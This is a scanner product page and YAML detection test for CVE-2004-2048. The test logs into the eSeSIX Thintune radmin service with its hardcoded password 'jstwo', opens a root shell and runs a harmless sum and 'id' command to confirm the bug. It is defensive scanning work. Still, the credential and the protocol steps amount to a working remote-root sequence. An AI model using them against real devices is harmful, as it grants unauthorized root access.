eSeSIX Thintune — 1 vulnerability check
noctis ships 1 vulnerability check for eSeSIX Thintune, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
eSeSIX Thintune radmin backdoor password 'jstwo' — remote root shell
| CVE | CVE-2004-2048 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | default-credentials — Default credentials |
| Services | unknown |
| Detection | set_var, script, tcp_open, sleep, tcp_send, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/esesix-thintune/CVE-2004-2048.yaml |
eSeSIX Thintune thin clients running firmware 2.4.38 and earlier start a remote administration service ("radmin") that accepts the hardcoded password "jstwo" and then opens a root shell for anyone on the network.
What the test sends: on each port reported as an unidentified service it reads the greeting and continues only if it carries the radmin identifier "JSRAFV-1". It then sends the password "jstwo", asks for a shell with `shell`, and runs one read-only command line: print the sum of two random numbers (with shell arithmetic and with `expr`) followed by `id`. It then leaves the shell with `exit`. Nothing on the device is changed.
What confirms the finding: the computed sum (which never appears in what was sent) or an `id` output for root (`uid=0`) coming back from the shell. When the password and the `shell` request are accepted ("+yep here you are") but no command output comes back, the service is still reported, with a lower confidence. A service that rejects the password, or any other service, is not reported.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
{{rad_pass}}on the open socket - Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
shellon the open socket - Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Sends
echo NOCTIS$(({{n.a}}+{{n.b}})); expr {{n.a}} + {{n.b}}; idon the open socket - Sends
…on the open socket - Sends
exiton the open socket - … and 4 more steps — see the feed source below
References:
Feed source — tests/vulnerabilities/esesix-thintune/CVE-2004-2048.yaml
# eSeSIX Thintune thin clients (firmware 2.4.38 and earlier) — "radmin" remote
# administration service reachable with the hardcoded password "jstwo", which
# hands out a root shell (CVE-2004-2048).
#
# Detection logic ported from the OpenVAS/Greenbone NVT pre2008/esesix_backdoor.nasl
# (OID 1.3.6.1.4.1.25623.1.0.13839, GPL-2.0-only): read the "JSRAFV-1" greeting,
# send "jstwo" (expect "+yep"), send "shell" (expect "+yep here you are"), run
# `id` and require "uid=0". Kept as a comment: the description is product docs.
#
# Deviations from the NASL (stronger detection, documented in the PR):
# * Not tied to TCP/25702: runs on every port matched as service `unknown`
# (NVD gives 25072, the advisory/NASL 25702 — both are covered).
# * Proof of command execution that cannot be reflected: the shell is asked
# for the sum of two random numbers (`$((a+b))` and `expr a + b`, for
# shells without arithmetic expansion); the sum never appears in what is
# sent. `uid=0` from `id` is kept as the NASL's own marker.
# * Late greeting / late "+yep" / late shell reply are read again after a short wait instead of
# being missed by the first 500 ms read.
# * Fallback (QoD 75) when the backdoor password opens the shell but the
# command output does not come back (the NASL reports nothing then).
#
# Other CVEs listed with this NASL (CVE-2004-2049 cleartext config passwords,
# CVE-2004-2050 local CTRL-SHIFT-ALT-DEL password, CVE-2004-2051 local file://
# read in the browser) are local issues the network test does not prove, so
# they are not claimed here.
uid: 9ed8a4ed-4a89-4393-bab1-ca406b89316a
name: "eSeSIX Thintune radmin backdoor password 'jstwo' — remote root shell (CVE-2004-2048)"
description: |
eSeSIX Thintune thin clients running firmware 2.4.38 and earlier start a
remote administration service ("radmin") that accepts the hardcoded password
"jstwo" and then opens a root shell for anyone on the network.
What the test sends: on each port reported as an unidentified service it
reads the greeting and continues only if it carries the radmin identifier
"JSRAFV-1". It then sends the password "jstwo", asks for a shell with
`shell`, and runs one read-only command line: print the sum of two random
numbers (with shell arithmetic and with `expr`) followed by `id`. It then
leaves the shell with `exit`. Nothing on the device is changed.
What confirms the finding: the computed sum (which never appears in what
was sent) or an `id` output for root (`uid=0`) coming back from the shell.
When the password and the `shell` request are accepted
("+yep here you are") but no command output comes back, the service is
still reported, with a lower confidence. A service that rejects the
password, or any other service, is not reported.
cves: [CVE-2004-2048]
cvss: 10.0
severity: critical
category: default-credentials
confidence_base: 0.30
tags: [esesix, thintune, thin-client, radmin, backdoor, hardcoded-password, default-credentials, intrusive]
services: [unknown]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2004-2048"
vars:
rad_pass: "jstwo"
steps:
# Pre-initialise everything a condition or script reads, so a silent or
# closed port never leaves an undefined variable (that would abort the test).
- id: init-conn
action: set_var
var_name: conn
var_value: {connected: false, banner: ""}
- id: init-late
action: set_var
var_name: late
var_value: {response: ""}
- id: init-gate
action: set_var
var_name: gate
var_value: false
- id: init-r-pw
action: set_var
var_name: r_pw
var_value: {response: ""}
- id: init-r-pw-late
action: set_var
var_name: r_pw_late
var_value: {response: ""}
- id: init-pw-ok
action: set_var
var_name: pw_ok
var_value: false
- id: init-r-sh
action: set_var
var_name: r_sh
var_value: {response: ""}
- id: init-r-sh-late
action: set_var
var_name: r_sh_late
var_value: {response: ""}
- id: init-sh-ok
action: set_var
var_name: sh_ok
var_value: false
- id: init-r-cmd
action: set_var
var_name: r_cmd
var_value: {response: ""}
- id: init-r-tail
action: set_var
var_name: r_tail
var_value: {response: ""}
- id: init-proof
action: set_var
var_name: proof
var_value: {out: "", sum_ok: false, root_ok: false}
# Two random 6-digit operands: the 7-digit sum can't hide inside an echoed operand.
- id: numbers
action: script
store_as: n
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: a, b: b, sum: a + b }
# ------------------------------------------------------ greeting / gate
- id: open
action: tcp_open
handle: rad
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: conn
# No radmin identifier in the first read: wait and read once more (a
# zero-byte write only triggers the read).
- id: late-banner-wait
action: sleep
condition: "conn.connected == true && strstr(\"\" + conn.banner, \"JSRAFV-1\") == \"\""
duration_ms: 1500
- id: late-banner
action: tcp_send
handle: rad
condition: "conn.connected == true && strstr(\"\" + conn.banner, \"JSRAFV-1\") == \"\""
send: ""
timeout_secs: 10
store_as: late
- id: gate-check
action: script
condition: "conn.connected == true"
store_as: gate
code: |
let g = "";
if type_of(conn.banner) == "string" { g += conn.banner; }
if type_of(late.response) == "string" { g += late.response; }
strstr(g, "JSRAFV-1") != ""
# ------------------------------------------------------- backdoor password
- id: send-pass
action: tcp_send
handle: rad
condition: "gate == true"
send: "{{rad_pass}}\n"
timeout_secs: 10
store_as: r_pw
- id: pass-late-wait
action: sleep
condition: "gate == true && strstr(\"\" + r_pw.response, \"+yep\") == \"\""
duration_ms: 1500
- id: pass-late
action: tcp_send
handle: rad
condition: "gate == true && strstr(\"\" + r_pw.response, \"+yep\") == \"\""
send: ""
timeout_secs: 10
store_as: r_pw_late
- id: check-pass
action: script
condition: "gate == true"
store_as: pw_ok
code: |
let out = "";
for r in [r_pw, r_pw_late] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
ereg("(^|\n)\\+yep", out)
# ------------------------------------------------------------ root shell
- id: send-shell
action: tcp_send
handle: rad
condition: "pw_ok == true"
send: "shell\n"
timeout_secs: 10
store_as: r_sh
- id: shell-late-wait
action: sleep
condition: "pw_ok == true && strstr(\"\" + r_sh.response, \"+yep here you are\") == \"\""
duration_ms: 1500
- id: shell-late
action: tcp_send
handle: rad
condition: "pw_ok == true && strstr(\"\" + r_sh.response, \"+yep here you are\") == \"\""
send: ""
timeout_secs: 10
store_as: r_sh_late
- id: shell-reply
action: script
condition: "pw_ok == true"
store_as: sh_out
code: |
let out = "";
for r in [r_sh, r_sh_late] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
out
- id: check-shell
action: script
condition: "pw_ok == true"
store_as: sh_ok
code: |
strstr(sh_out, "+yep here you are") != ""
# Read-only command line: two ways to print the sum, then `id`.
- id: send-cmd
action: tcp_send
handle: rad
condition: "sh_ok == true"
send: "echo NOCTIS$(({{n.a}}+{{n.b}})); expr {{n.a}} + {{n.b}}; id\n"
timeout_secs: 10
store_as: r_cmd
- id: wait-output
action: sleep
condition: "sh_ok == true"
duration_ms: 1500
# Zero-byte write: only reads whatever the shell printed after the first read.
- id: flush
action: tcp_send
handle: rad
condition: "sh_ok == true"
send: ""
# Drain read: usually nothing is left, and a read waits up to
# timeout_secs for a first byte — keep it short.
timeout_secs: 3
store_as: r_tail
- id: logout
action: tcp_send
handle: rad
condition: "sh_ok == true"
send: "exit\n"
timeout_secs: 2
- id: close
action: tcp_close
handle: rad
- id: check-proof
action: script
condition: "sh_ok == true"
store_as: proof
code: |
let out = "";
for r in [r_cmd, r_tail] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
let s = "" + n.sum;
let sum_ok = strstr(out, "NOCTIS" + s) != "" || ereg("(^|[^0-9])" + s + "([^0-9]|$)", out);
let root_ok = ereg("uid=0\\(", out);
#{ out: out, sum_ok: sum_ok, root_ok: root_ok }
# ---------------------------------------------------------------- findings
- id: finding-exec
action: match
source: proof.out
pattern: "[0-9]{7}"
condition: "sh_ok == true && proof.sum_ok == true"
on_match:
finding:
title: "eSeSIX Thintune radmin backdoor password 'jstwo' — remote root shell (CVE-2004-2048)"
description: "The radmin service accepted the hardcoded password '{{rad_pass}}', opened a shell and printed the sum {{n.a}} + {{n.b}} = {{n.sum}} computed by the device (the sum was never sent)."
remediation: "Upgrade the Thintune firmware beyond 2.4.38, or block the radmin port (TCP 25702) from untrusted networks."
confidence_delta: 0.65
qod: 97
evidence: "radmin password '{{rad_pass}}' accepted ('+yep'), 'shell' granted ('+yep here you are'); shell output (expected sum {{n.sum}}): {{proof.out}}"
stop: true
# Shell without arithmetic expansion or expr, but `id` answers for root.
- id: finding-root
action: match
source: proof.out
pattern: "uid=0\\("
condition: "sh_ok == true && proof.root_ok == true"
on_match:
finding:
title: "eSeSIX Thintune radmin backdoor password 'jstwo' — remote root shell (CVE-2004-2048)"
description: "The radmin service accepted the hardcoded password '{{rad_pass}}', opened a shell and `id` answered uid=0 (root)."
remediation: "Upgrade the Thintune firmware beyond 2.4.38, or block the radmin port (TCP 25702) from untrusted networks."
confidence_delta: 0.65
qod: 97
evidence: "radmin password '{{rad_pass}}' accepted ('+yep'), 'shell' granted ('+yep here you are'); `id` output: {{proof.out}}"
stop: true
# Shell granted, command output not captured.
- id: finding-shell
action: match
source: sh_out
pattern: "\\+yep here you are"
condition: "sh_ok == true"
on_match:
finding:
title: "eSeSIX Thintune radmin backdoor password 'jstwo' accepted (CVE-2004-2048)"
description: "The radmin service accepted the hardcoded password '{{rad_pass}}' and granted a shell ('+yep here you are'); the command output was not captured."
remediation: "Upgrade the Thintune firmware beyond 2.4.38, or block the radmin port (TCP 25702) from untrusted networks."
confidence_delta: 0.50
qod: 75
evidence: "radmin password '{{rad_pass}}' accepted ('+yep'), 'shell' answered: {{sh_out}}"